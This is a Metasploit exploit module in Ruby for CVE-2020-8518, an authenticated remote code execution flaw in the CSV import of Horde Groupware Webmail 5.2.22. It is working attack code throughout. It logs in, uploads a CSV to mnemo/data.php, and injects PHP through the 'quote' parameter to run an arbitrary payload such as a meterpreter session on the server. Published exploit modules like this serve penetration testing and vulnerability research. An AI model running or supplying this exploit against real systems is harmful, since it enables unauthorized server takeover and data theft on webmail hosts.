[CVE-2020-8518] Horde Groupware Webmail Edition 5.2.22 — RCE in CSV data import

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'           => 'Horde CSV import arbitrary PHP code execution',
        'Description'    => %q{

          The Horde_Data module version 2.1.4 (and before) present in Horde
          Groupware version 5.2.22 allows authenticated users to inject
          arbitrary PHP code thus achieving RCE on the server hosting the web
          application.

        },
        'License'        => MSF_LICENSE,
        'Author'         => ['Andrea Cardaci <cyrus.and@gmail.com>'],
        'References'     => [
          ['CVE', '2020-8518'],
          ['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
        ],
        'DisclosureDate' => '2020-02-07',
        'Platform'       => 'php',
        'Arch'           => ARCH_PHP,
        'Targets'        => [['Automatic', {}]],
        'Payload'        => {'BadChars' => "'"},
        'Privileged'     => false,
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
        OptString.new('USERNAME',  [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',  [true, 'The password to authenticate with'])
      ])
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'login.php'),
      'cookie'    => 'Horde=x', # avoid multiple Set-Cookie
      'vars_post' => {
        'horde_user' => username,
        'horde_pass' => password,
        'login_post' => '1'})
    if not res or res.code != 302 or res.headers['Location'] != '/services/portal/'
      fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
    else
      vprint_good("Logged in as #{username}:#{password}")
      return res.get_cookies
    end
  end

  def upload_csv(cookie)
    data = Rex::MIME::Message.new
    data.add_part('11',  nil, nil, 'form-data; name="actionID"')
    data.add_part('1',   nil, nil, 'form-data; name="import_step"')
    data.add_part('csv', nil, nil, 'form-data; name="import_format"')
    data.add_part('x',   nil, nil, 'form-data; name="notepad_target"')
    data.add_part('x',   nil, nil, 'form-data; name="import_file"; filename="x"')
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie' => cookie,
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s)
    if not res or res.code != 200
      fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
    else
      vprint_good('CSV file uploaded')
    end
  end

  def execute(cookie, function_call, check)
    options = {
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'actionID'      => '3',
        'import_step'   => '2',
        'import_format' => 'csv',
        'header'        => '1',
        'fields'        => '1',
        'sep'           => 'x',
        'quote'         => ").#{function_call}.die();}//\\"}}
    if check
      # deliver the payload and return the body
      res = send_request_cgi(options)
      if not res or res.code != 200
        fail_with(Failure::UnexpectedReply, 'Cannot execute the payload')
      else
        vprint_good('Payload executed successfully')
        return res.body
      end
    else
      # deliver the payload in a a new thread since the meterpreter payload does
      # not terminate when successful this allows to poll for session creation
      t = framework.threads.spawn(nil, false) {
        send_request_cgi(options)
      }
      while t.alive? and not session_created?
        Rex::ThreadSafe.sleep(0.1)
      end
    end
  end

  def check
    begin
      cookie = login()
      upload_csv(cookie)
      body = execute(cookie, 'printf("check")', true)
      return Exploit::CheckCode::Appears if body == 'check'
    rescue Msf::Exploit::Failed
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    cookie = login()
    upload_csv(cookie)
    # do not terminate the statement
    function_call = payload.encoded.tr(';', '')
    vprint_status("Sending payload: #{function_call}")
    execute(cookie, function_call, false)
  end
end